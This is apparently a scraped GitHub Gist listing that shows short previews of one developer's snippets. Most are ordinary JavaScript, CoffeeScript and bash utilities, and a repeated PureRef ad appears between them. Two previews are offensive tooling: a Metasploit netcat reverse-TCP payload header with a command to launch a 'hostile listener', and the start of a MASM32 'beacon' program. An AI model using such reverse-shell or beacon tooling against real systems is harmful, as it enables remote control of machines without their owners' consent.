It's good software.
All your reference images in one place. Organize your inspiration and speed up your creative process with PureRef.
const promiseBatch = async function* (concurrency, list, fn) { | |
for (let p = [], i = 0, l = list.length; i < l || p.length > 0;) { | |
if (i < l) { | |
let _p; | |
_p = fn(list[i]).then(r => [_p.__id, r]); | |
_p.__id = i++; | |
if (p.push(_p) < concurrency) { | |
continue; | |
} | |
} |
It's good software.
All your reference images in one place. Organize your inspiration and speed up your creative process with PureRef.
## | |
# This module requires Metasploit: https://metasploit.com/download | |
# Current source: https://github.com/rapid7/metasploit-framework | |
## | |
# /usr/share/metasploit-framework/modules/payloads/singles/generic/nc_reverse_tcp.rb | |
# usage: | |
# # launch hostile listener | |
# $ sudo nc -vlp 80 -ns 192.168.119.198 |
(async () => { | |
const orderedSet = ['6','7','8','9','10','V','D','K','T']; | |
const nextAbove = c => | |
orderedSet[orderedSet.indexOf(c) + 1]; | |
let moveHistory = []; | |
const analyze = (state) => { | |
let moves = []; |
const _idpX509Cert = _.get(resp, ['samlp:Response', 'Assertion', 0, | |
'ds:Signature', 0, 'KeyInfo', 0, 'ds:X509Data', 0, 'ds:X509Certificate', 0]); | |
const asn1js = require('asn1js'); | |
const pkijs = require("pkijs"); | |
const Certificate = pkijs.Certificate; | |
const buf = new Buffer(_idpX509Cert, 'base64').buffer; | |
console.log('_idpX509Cert', _idpX509Cert); | |
const asn1 = asn1js.fromBER(buf); |
var wrap = (list, test, cb) => { | |
const stack = []; | |
let start, end, lastTest, result, lastItem, item, out; | |
for (let i=0,len=list.length; i<len; i++) { | |
item = list.splice(i,1)[0]; | |
result = test(item, lastItem); | |
if ((!result && lastTest !== result) || (i === list.length-1 && lastTest === result)) { | |
out = cb(item, i, start, end, stack, lastItem); | |
if (null != out) { | |
list.splice(i, 0, ...out); |
; compile with MASM32 | |
; C:\masm32\bin\ml /c /Zd /coff beacon.asm | |
; C:\masm32\bin\Link /SUBSYSTEM:WINDOWS beacon.obj | |
; beacon.exe | |
; | |
.386 | |
.model flat, stdcall | |
option casemap :none | |
include C:\masm32\include\windows.inc | |
include C:\masm32\include\kernel32.inc |
const path = require('path'); | |
function trace(s) { | |
const orig = Error.prepareStackTrace; | |
Error.prepareStackTrace = (_, stack) => stack; | |
const err = new Error(); | |
Error.captureStackTrace(err, arguments.callee); | |
Error.prepareStackTrace = orig; | |
const callee = err.stack[0]; | |
process.stdout.write(`${path.relative(process.cwd(), callee.getFileName())}:${callee.getLineNumber()}: ${s}\n`); |
# Reverse Polish Notation Calculator (in CoffeeScript) | |
# authored by Mike Smullin <mike@smullindesign.com> | |
# | |
# see also: | |
# https://en.wikipedia.org/wiki/Polish_notation | |
# http://www.calculator.org/rpn.aspx | |
# http://blog.reverberate.org/2013/07/ll-and-lr-parsing-demystified.html | |
# http://stackoverflow.com/questions/5975741/what-is-the-difference-between-ll-and-lr-parsing | |
# https://www.amazon.com/Definitive-ANTLR-4-Reference/dp/1934356999 |
#!/bin/bash | |
# Process Loop | |
# Author: Mike Smullin <mike@smullindesign.com> | |
# License: MIT | |
# Usage: | |
# | |
# ./loop node --debug app.js | |
# | |
# Ctrl+C Restarts | |
# Ctrl+\ Quits |